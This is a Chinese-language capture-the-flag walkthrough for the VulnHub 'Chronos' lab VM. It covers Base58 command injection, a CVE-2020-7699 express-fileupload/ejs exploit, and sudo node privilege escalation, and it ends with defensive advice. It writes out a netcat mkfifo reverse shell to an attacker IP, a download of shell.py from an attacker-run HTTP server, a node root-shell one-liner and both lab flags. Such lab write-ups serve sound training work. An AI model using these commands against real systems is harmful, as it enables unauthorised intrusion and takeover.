Chronos靶机渗透
字数 1294 2025-08-12 11:33:49

Chronos靶机渗透教学文档

靶机概述

  • 名称:Chronos
  • 难度:中等(Medium)
  • 推荐运行环境:VirtualBox优于VMware
  • 下载地址:VulnHub Chronos
  • 目标IP:10.8.1.251

初始信息收集

端口扫描

发现开放以下端口:

  • 22 (SSH)
  • 25 (SMTP)
  • 80 (HTTP)
  • 110 (POP3)
  • 8000 (HTTP)

Web服务分析

  1. 访问80和8000端口,无明显可利用点
  2. 查看源码发现可疑URL:
    http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
    
  3. 需要将chronos.local添加到/etc/hosts文件进行解析

漏洞利用

Base58命令注入

  1. 发现format参数后的字符串可能是Base58编码的命令

  2. 解码4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL发现是日期命令

  3. 尝试直接注入命令:

    • 输入非Base58字符会报错
    • 使用Burp Suite拦截请求,发现User-Agent为"Chronos"
  4. 命令注入步骤:

    • 将命令用Base58编码后附加到format参数
    • 示例:
      • pwd编码为5JeBr9q,执行后返回/opt/chronos
      • 查看/etc/passwd发现只有imera用户

反弹Shell

  1. 准备反弹Shell命令:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.1.169 1234 >/tmp/f
    
  2. 将上述命令Base58编码为:

    2gxfnU3zJpKCbHYT5fzvYdqM2TL9waXViedX88Z8vgmKyvFDw7fCgTnFfh8qwVeVw6NkvRhjRzq3iDgmko7c7TeM5AksHZV6oe5
    
  3. 本地监听端口1234,执行编码后的命令成功获取Shell

  4. 升级Shell:

    python -c 'import pty;pty.spawn("/bin/bash")'
    

深入渗透

发现express-fileupload服务

  1. /opt目录发现chronos-v2backend目录
  2. 发现express-fileupload服务监听8080端口

CVE-2020-7699漏洞利用

  1. ejs模板引擎存在原型污染导致的RCE漏洞
  2. 利用步骤:
    • https://blog.p6.is/Real-World-JS-1/获取利用代码
    • 修改代码适配目标8080端口
    • 本地开启HTTP服务(python -m http.server 80)
    • 靶机下载shell.py到/tmp目录
    • 赋予执行权限并执行,成功获取反弹连接

权限提升

获取用户flag

  1. 进入/home/imera目录
  2. 查看user.txt获得flag:
    byBjaHJvbm.9zIHBlcm5hZWkgZmlsZSBtb3UK
    

sudo提权

  1. 执行sudo -l发现:

    • 可以无密码执行/usr/local/bin/npm *
    • 可以无密码执行/usr/local/bin/node *
  2. 使用node提权:

    sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
    
  3. 成功获取root权限,读取root flag:

    YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
    

关键工具和技术总结

  1. Base58编码/解码:用于命令注入绕过
  2. Burp Suite:拦截和修改HTTP请求
  3. Netcat:建立反弹Shell
  4. Python PTY:Shell升级
  5. CVE-2020-7699:express-fileupload漏洞利用
  6. Node.js子进程:用于sudo提权

防御建议

  1. 对用户输入进行严格过滤和验证
  2. 避免使用危险函数直接执行用户输入
  3. 及时更新存在已知漏洞的组件
  4. 遵循最小权限原则配置sudo权限
  5. 禁用不必要的服务和端口
Chronos靶机渗透教学文档 靶机概述 名称:Chronos 难度:中等(Medium) 推荐运行环境:VirtualBox优于VMware 下载地址: VulnHub Chronos 目标IP:10.8.1.251 初始信息收集 端口扫描 发现开放以下端口: 22 (SSH) 25 (SMTP) 80 (HTTP) 110 (POP3) 8000 (HTTP) Web服务分析 访问80和8000端口,无明显可利用点 查看源码发现可疑URL: 需要将 chronos.local 添加到 /etc/hosts 文件进行解析 漏洞利用 Base58命令注入 发现format参数后的字符串可能是Base58编码的命令 解码 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 发现是日期命令 尝试直接注入命令: 输入非Base58字符会报错 使用Burp Suite拦截请求,发现User-Agent为"Chronos" 命令注入步骤: 将命令用Base58编码后附加到format参数 示例: pwd 编码为 5JeBr9q ,执行后返回 /opt/chronos 查看 /etc/passwd 发现只有 imera 用户 反弹Shell 准备反弹Shell命令: 将上述命令Base58编码为: 本地监听端口1234,执行编码后的命令成功获取Shell 升级Shell: 深入渗透 发现express-fileupload服务 在 /opt 目录发现 chronos-v2 和 backend 目录 发现express-fileupload服务监听8080端口 CVE-2020-7699漏洞利用 ejs模板引擎存在原型污染导致的RCE漏洞 利用步骤: 从 https://blog.p6.is/Real-World-JS-1/ 获取利用代码 修改代码适配目标8080端口 本地开启HTTP服务( python -m http.server 80 ) 靶机下载shell.py到 /tmp 目录 赋予执行权限并执行,成功获取反弹连接 权限提升 获取用户flag 进入 /home/imera 目录 查看 user.txt 获得flag: sudo提权 执行 sudo -l 发现: 可以无密码执行 /usr/local/bin/npm * 可以无密码执行 /usr/local/bin/node * 使用node提权: 成功获取root权限,读取root flag: 关键工具和技术总结 Base58编码/解码 :用于命令注入绕过 Burp Suite :拦截和修改HTTP请求 Netcat :建立反弹Shell Python PTY :Shell升级 CVE-2020-7699 :express-fileupload漏洞利用 Node.js子进程 :用于sudo提权 防御建议 对用户输入进行严格过滤和验证 避免使用危险函数直接执行用户输入 及时更新存在已知漏洞的组件 遵循最小权限原则配置sudo权限 禁用不必要的服务和端口